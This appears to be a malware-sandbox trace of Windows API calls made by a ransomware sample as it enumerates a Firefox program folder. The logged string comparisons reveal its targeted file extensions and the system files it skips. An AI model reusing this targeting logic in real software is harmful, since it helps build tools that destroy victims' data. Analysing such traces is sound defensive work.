	[0052.781] lstrlenW (lpString="fol") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="fol") returned -1
	[0052.781] lstrlenW (lpString="fp3") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="fp3") returned -1
	[0052.781] lstrlenW (lpString="fp4") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="fp4") returned -1
	[0052.781] lstrlenW (lpString="fp5") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="fp5") returned -1
	[0052.781] lstrlenW (lpString="fp7") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="fp7") returned -1
	[0052.781] lstrlenW (lpString="fpt") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="fpt") returned -1
	[0052.781] lstrlenW (lpString="frm") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="frm") returned -1
	[0052.781] lstrlenW (lpString="gdb") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1
	[0052.781] lstrlenW (lpString="gdb") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1
	[0052.781] lstrlenW (lpString="grdb") returned 4
	[0052.781] lstrcmpiW (lpString1="fest", lpString2="grdb") returned -1
	[0052.781] lstrlenW (lpString="gwi") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="gwi") returned -1
	[0052.781] lstrlenW (lpString="hdb") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="hdb") returned -1
	[0052.781] lstrlenW (lpString="his") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="his") returned -1
	[0052.781] lstrlenW (lpString="ib") returned 2
	[0052.781] lstrcmpiW (lpString1="st", lpString2="ib") returned 1
	[0052.781] lstrlenW (lpString="idb") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="idb") returned -1
	[0052.781] lstrlenW (lpString="ihx") returned 3
	[0052.781] lstrcmpiW (lpString1="est", lpString2="ihx") returned -1
	[0052.782] lstrlenW (lpString="itdb") returned 4
	[0052.782] lstrcmpiW (lpString1="fest", lpString2="itdb") returned -1
	[0052.782] lstrlenW (lpString="itw") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="itw") returned -1
	[0052.782] lstrlenW (lpString="jet") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="jet") returned -1
	[0052.782] lstrlenW (lpString="jtx") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="jtx") returned -1
	[0052.782] lstrlenW (lpString="kdb") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="kdb") returned -1
	[0052.782] lstrlenW (lpString="kexi") returned 4
	[0052.782] lstrcmpiW (lpString1="fest", lpString2="kexi") returned -1
	[0052.782] lstrlenW (lpString="kexic") returned 5
	[0052.782] lstrcmpiW (lpString1="ifest", lpString2="kexic") returned -1
	[0052.782] lstrlenW (lpString="kexis") returned 5
	[0052.782] lstrcmpiW (lpString1="ifest", lpString2="kexis") returned -1
	[0052.782] lstrlenW (lpString="lgc") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="lgc") returned -1
	[0052.782] lstrlenW (lpString="lwx") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="lwx") returned -1
	[0052.782] lstrlenW (lpString="maf") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="maf") returned -1
	[0052.782] lstrlenW (lpString="maq") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="maq") returned -1
	[0052.782] lstrlenW (lpString="mar") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="mar") returned -1
	[0052.782] lstrlenW (lpString="marshal") returned 7
	[0052.782] lstrcmpiW (lpString1="anifest", lpString2="marshal") returned -1
	[0052.782] lstrlenW (lpString="mas") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="mas") returned -1
	[0052.782] lstrlenW (lpString="mav") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="mav") returned -1
	[0052.782] lstrlenW (lpString="maw") returned 3
	[0052.782] lstrcmpiW (lpString1="est", lpString2="maw") returned -1
	[0052.782] lstrlenW (lpString="mdbhtml") returned 7
	[0052.783] lstrcmpiW (lpString1="anifest", lpString2="mdbhtml") returned -1
	[0052.783] lstrlenW (lpString="mdn") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="mdn") returned -1
	[0052.783] lstrlenW (lpString="mdt") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="mdt") returned -1
	[0052.783] lstrlenW (lpString="mfd") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="mfd") returned -1
	[0052.783] lstrlenW (lpString="mpd") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="mpd") returned -1
	[0052.783] lstrlenW (lpString="mrg") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="mrg") returned -1
	[0052.783] lstrlenW (lpString="mud") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="mud") returned -1
	[0052.783] lstrlenW (lpString="mwb") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="mwb") returned -1
	[0052.783] lstrlenW (lpString="myd") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="myd") returned -1
	[0052.783] lstrlenW (lpString="ndf") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="ndf") returned -1
	[0052.783] lstrlenW (lpString="nnt") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="nnt") returned -1
	[0052.783] lstrlenW (lpString="nrmlib") returned 6
	[0052.783] lstrcmpiW (lpString1="nifest", lpString2="nrmlib") returned -1
	[0052.783] lstrlenW (lpString="ns2") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="ns2") returned -1
	[0052.783] lstrlenW (lpString="ns3") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="ns3") returned -1
	[0052.783] lstrlenW (lpString="ns4") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="ns4") returned -1
	[0052.783] lstrlenW (lpString="nsf") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="nsf") returned -1
	[0052.783] lstrlenW (lpString="nv") returned 2
	[0052.783] lstrcmpiW (lpString1="st", lpString2="nv") returned 1
	[0052.783] lstrlenW (lpString="nv2") returned 3
	[0052.783] lstrcmpiW (lpString1="est", lpString2="nv2") returned -1
	[0052.783] lstrlenW (lpString="nwdb") returned 4
	[0052.784] lstrcmpiW (lpString1="fest", lpString2="nwdb") returned -1
	[0052.784] lstrlenW (lpString="nyf") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="nyf") returned -1
	[0052.784] lstrlenW (lpString="odb") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="odb") returned -1
	[0052.784] lstrlenW (lpString="odb") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="odb") returned -1
	[0052.784] lstrlenW (lpString="oqy") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="oqy") returned -1
	[0052.784] lstrlenW (lpString="ora") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="ora") returned -1
	[0052.784] lstrlenW (lpString="orx") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="orx") returned -1
	[0052.784] lstrlenW (lpString="owc") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="owc") returned -1
	[0052.784] lstrlenW (lpString="p96") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="p96") returned -1
	[0052.784] lstrlenW (lpString="p97") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="p97") returned -1
	[0052.784] lstrlenW (lpString="pan") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="pan") returned -1
	[0052.784] lstrlenW (lpString="pdb") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="pdb") returned -1
	[0052.784] lstrlenW (lpString="pdm") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="pdm") returned -1
	[0052.784] lstrlenW (lpString="pnz") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="pnz") returned -1
	[0052.784] lstrlenW (lpString="qry") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="qry") returned -1
	[0052.784] lstrlenW (lpString="qvd") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="qvd") returned -1
	[0052.784] lstrlenW (lpString="rbf") returned 3
	[0052.784] lstrcmpiW (lpString1="est", lpString2="rbf") returned -1
	[0052.784] lstrlenW (lpString="rctd") returned 4
	[0052.784] lstrcmpiW (lpString1="fest", lpString2="rctd") returned -1
	[0052.785] lstrlenW (lpString="rod") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="rod") returned -1
	[0052.785] lstrlenW (lpString="rodx") returned 4
	[0052.785] lstrcmpiW (lpString1="fest", lpString2="rodx") returned -1
	[0052.785] lstrlenW (lpString="rpd") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="rpd") returned -1
	[0052.785] lstrlenW (lpString="rsd") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="rsd") returned -1
	[0052.785] lstrlenW (lpString="sas7bdat") returned 8
	[0052.785] lstrcmpiW (lpString1="manifest", lpString2="sas7bdat") returned -1
	[0052.785] lstrlenW (lpString="sbf") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="sbf") returned -1
	[0052.785] lstrlenW (lpString="scx") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="scx") returned -1
	[0052.785] lstrlenW (lpString="sdb") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="sdb") returned -1
	[0052.785] lstrlenW (lpString="sdc") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="sdc") returned -1
	[0052.785] lstrlenW (lpString="sdf") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="sdf") returned -1
	[0052.785] lstrlenW (lpString="sis") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="sis") returned -1
	[0052.785] lstrlenW (lpString="spq") returned 3
	[0052.785] lstrcmpiW (lpString1="est", lpString2="spq") returned -1
	[0052.785] lstrlenW (lpString="te") returned 2
	[0052.785] lstrcmpiW (lpString1="st", lpString2="te") returned -1
	[0052.785] lstrlenW (lpString="teacher") returned 7
	[0052.785] lstrcmpiW (lpString1="anifest", lpString2="teacher") returned -1
	[0052.786] lstrlenW (lpString="tmd") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="tmd") returned -1
	[0052.786] lstrlenW (lpString="tps") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="tps") returned -1
	[0052.786] lstrlenW (lpString="trc") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="trc") returned -1
	[0052.786] lstrlenW (lpString="trc") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="trc") returned -1
	[0052.786] lstrlenW (lpString="trm") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="trm") returned -1
	[0052.786] lstrlenW (lpString="udb") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="udb") returned -1
	[0052.786] lstrlenW (lpString="udl") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="udl") returned -1
	[0052.786] lstrlenW (lpString="usr") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="usr") returned -1
	[0052.786] lstrlenW (lpString="v12") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="v12") returned -1
	[0052.786] lstrlenW (lpString="vis") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="vis") returned -1
	[0052.786] lstrlenW (lpString="vpd") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="vpd") returned -1
	[0052.786] lstrlenW (lpString="vvv") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="vvv") returned -1
	[0052.786] lstrlenW (lpString="wdb") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="wdb") returned -1
	[0052.786] lstrlenW (lpString="wmdb") returned 4
	[0052.786] lstrcmpiW (lpString1="fest", lpString2="wmdb") returned -1
	[0052.786] lstrlenW (lpString="wrk") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="wrk") returned -1
	[0052.786] lstrlenW (lpString="xdb") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="xdb") returned -1
	[0052.786] lstrlenW (lpString="xld") returned 3
	[0052.786] lstrcmpiW (lpString1="est", lpString2="xld") returned -1
	[0052.786] lstrlenW (lpString="xmlff") returned 5
	[0052.786] lstrcmpiW (lpString1="ifest", lpString2="xmlff") returned -1
	[0052.786] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="components", cAlternateFileName="COMPON~1")) returned 1
	[0052.786] lstrcmpiW (lpString1="components", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="Apollon865.txt.exe") returned 1
	[0052.787] lstrcmpiW (lpString1="components", lpString2=".") returned 1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="..") returned 1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="windows") returned -1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="bootmgr") returned 1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="temp") returned -1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="pagefile.sys") returned -1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="boot") returned 1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="ids.txt") returned -1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="ntuser.dat") returned -1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="perflogs") returned -1
	[0052.787] lstrcmpiW (lpString1="components", lpString2="MSBuild") returned -1
	[0052.787] lstrlenW (lpString="components") returned 10
	[0052.787] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned 62
	[0052.787] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="components" | out: lpString1="components") returned="components"
	[0052.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0052.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591640
	[0052.787] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0052.787] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd9ee5100, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="crashreporter-override.ini", cAlternateFileName="CRASHR~1.INI")) returned 1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="Apollon865.txt.exe") returned 1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".") returned 1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="..") returned 1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="windows") returned -1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="bootmgr") returned 1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="temp") returned -1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="pagefile.sys") returned -1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="boot") returned 1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="ids.txt") returned -1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="ntuser.dat") returned -1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="perflogs") returned -1
	[0052.787] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="MSBuild") returned -1
	[0052.787] lstrlenW (lpString="crashreporter-override.ini") returned 26
	[0052.787] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned 57
	[0052.787] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="crashreporter-override.ini" | out: lpString1="crashreporter-override.ini") returned="crashreporter-override.ini"
	[0052.787] lstrlenW (lpString="crashreporter-override.ini") returned 26
	[0052.788] lstrlenW (lpString="Apollon865") returned 10
	[0052.788] lstrcmpiW (lpString1="erride.ini", lpString2="Apollon865") returned 1
	[0052.788] lstrlenW (lpString=".dll") returned 4
	[0052.788] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".dll") returned 1
	[0052.788] lstrlenW (lpString=".lnk") returned 4
	[0052.788] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".lnk") returned 1
	[0052.788] lstrlenW (lpString=".ini") returned 4
	[0052.788] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".ini") returned 1
	[0052.788] lstrlenW (lpString=".sys") returned 4
	[0052.788] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".sys") returned 1
	[0052.788] lstrlenW (lpString="crashreporter-override.ini") returned 26
	[0052.788] lstrlenW (lpString="bak") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0052.788] lstrlenW (lpString="ba_") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0052.788] lstrlenW (lpString="dbb") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0052.788] lstrlenW (lpString="vmdk") returned 4
	[0052.788] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0052.788] lstrlenW (lpString="rar") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0052.788] lstrlenW (lpString="zip") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0052.788] lstrlenW (lpString="tgz") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0052.788] lstrlenW (lpString="vbox") returned 4
	[0052.788] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0052.788] lstrlenW (lpString="vdi") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0052.788] lstrlenW (lpString="vhd") returned 3
	[0052.788] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0052.788] lstrlenW (lpString="vhdx") returned 4
	[0052.788] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0052.788] lstrlenW (lpString="avhd") returned 4
	[0052.788] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0052.788] lstrlenW (lpString="db") returned 2
	[0052.788] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0052.789] lstrlenW (lpString="db2") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0052.789] lstrlenW (lpString="db3") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0052.789] lstrlenW (lpString="dbf") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0052.789] lstrlenW (lpString="mdf") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0052.789] lstrlenW (lpString="mdb") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0052.789] lstrlenW (lpString="sql") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0052.789] lstrlenW (lpString="sqlite") returned 6
	[0052.789] lstrcmpiW (lpString1="de.ini", lpString2="sqlite") returned -1
	[0052.789] lstrlenW (lpString="sqlite3") returned 7
	[0052.789] lstrcmpiW (lpString1="ide.ini", lpString2="sqlite3") returned -1
	[0052.789] lstrlenW (lpString="sqlitedb") returned 8
	[0052.789] lstrcmpiW (lpString1="ride.ini", lpString2="sqlitedb") returned -1
	[0052.789] lstrlenW (lpString="xml") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0052.789] lstrlenW (lpString="$er") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0052.789] lstrlenW (lpString="4dd") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0052.789] lstrlenW (lpString="4dl") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0052.789] lstrlenW (lpString="^^^") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0052.789] lstrlenW (lpString="abs") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0052.789] lstrlenW (lpString="abx") returned 3
	[0052.789] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0052.789] lstrlenW (lpString="accdb") returned 5
	[0052.789] lstrcmpiW (lpString1="e.ini", lpString2="accdb") returned 1
	[0052.789] lstrlenW (lpString="accdc") returned 5
	[0052.790] lstrcmpiW (lpString1="e.ini", lpString2="accdc") returned 1
	[0052.790] lstrlenW (lpString="accde") returned 5
	[0052.790] lstrcmpiW (lpString1="e.ini", lpString2="accde") returned 1
	[0052.790] lstrlenW (lpString="accdr") returned 5
	[0052.790] lstrcmpiW (lpString1="e.ini", lpString2="accdr") returned 1
	[0052.790] lstrlenW (lpString="accdt") returned 5
	[0052.790] lstrcmpiW (lpString1="e.ini", lpString2="accdt") returned 1
	[0052.790] lstrlenW (lpString="accdw") returned 5
	[0052.790] lstrcmpiW (lpString1="e.ini", lpString2="accdw") returned 1
	[0052.790] lstrlenW (lpString="accft") returned 5
	[0052.790] lstrcmpiW (lpString1="e.ini", lpString2="accft") returned 1
	[0052.790] lstrlenW (lpString="adb") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0052.790] lstrlenW (lpString="adb") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0052.790] lstrlenW (lpString="ade") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0052.790] lstrlenW (lpString="adf") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0052.790] lstrlenW (lpString="adn") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0052.790] lstrlenW (lpString="adp") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0052.790] lstrlenW (lpString="alf") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0052.790] lstrlenW (lpString="ask") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0052.790] lstrlenW (lpString="btr") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0052.790] lstrlenW (lpString="cat") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0052.790] lstrlenW (lpString="cdb") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0052.790] lstrlenW (lpString="ckp") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0052.790] lstrlenW (lpString="cma") returned 3
	[0052.790] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0052.791] lstrlenW (lpString="cpd") returned 3
	[0052.791] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0052.791] lstrlenW (lpString="dacpac") returned 6
	[0052.791] lstrcmpiW (lpString1="de.ini", lpString2="dacpac") returned 1
	[0052.791] lstrlenW (lpString="dad") returned 3
	[0052.791] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0052.791] lstrlenW (lpString="dadiagrams") returned 10
	[0052.791] lstrcmpiW (lpString1="erride.ini", lpString2="dadiagrams") returned 1
	[0052.791] lstrlenW (lpString="daschema") returned 8
	[0052.791] lstrcmpiW (lpString1="ride.ini", lpString2="daschema") returned 1
	[0052.791] lstrlenW (lpString="db-journal") returned 10
	[0052.791] lstrcmpiW (lpString1="erride.ini", lpString2="db-journal") returned 1
	[0052.791] lstrlenW (lpString="db-shm") returned 6
	[0052.791] lstrcmpiW (lpString1="de.ini", lpString2="db-shm") returned 1
	[0052.793] lstrlenW (lpString="db-wal") returned 6
	[0052.793] lstrcmpiW (lpString1="de.ini", lpString2="db-wal") returned 1
	[0052.793] lstrlenW (lpString="dbc") returned 3
	[0052.793] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0052.793] lstrlenW (lpString="dbs") returned 3
	[0052.794] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0052.794] lstrlenW (lpString="dbt") returned 3
	[0052.794] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0052.794] lstrlenW (lpString="dbv") returned 3
	[0052.794] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0052.794] lstrlenW (lpString="dbx") returned 3
	[0052.794] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0052.794] lstrlenW (lpString="dcb") returned 3
	[0052.794] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0052.794] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="extensions" | out: lpString1="extensions") returned="extensions"
	[0052.794] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0052.794] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0052.794] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0052.794] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3783fcd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3783fcd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.794] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.794] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x57748a00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x44080e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="Apollon865.txt.exe") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2=".") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="..") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="windows") returned -1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="bootmgr") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="temp") returned -1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="pagefile.sys") returned -1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="boot") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="ids.txt") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="ntuser.dat") returned 1
	[0052.794] lstrcmpiW (lpString1="omni.ja", lpString2="perflogs") returned -1
	[0052.795] lstrcmpiW (lpString1="omni.ja", lpString2="MSBuild") returned 1
	[0052.795] lstrlenW (lpString="omni.ja") returned 7
	[0052.795] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned 57
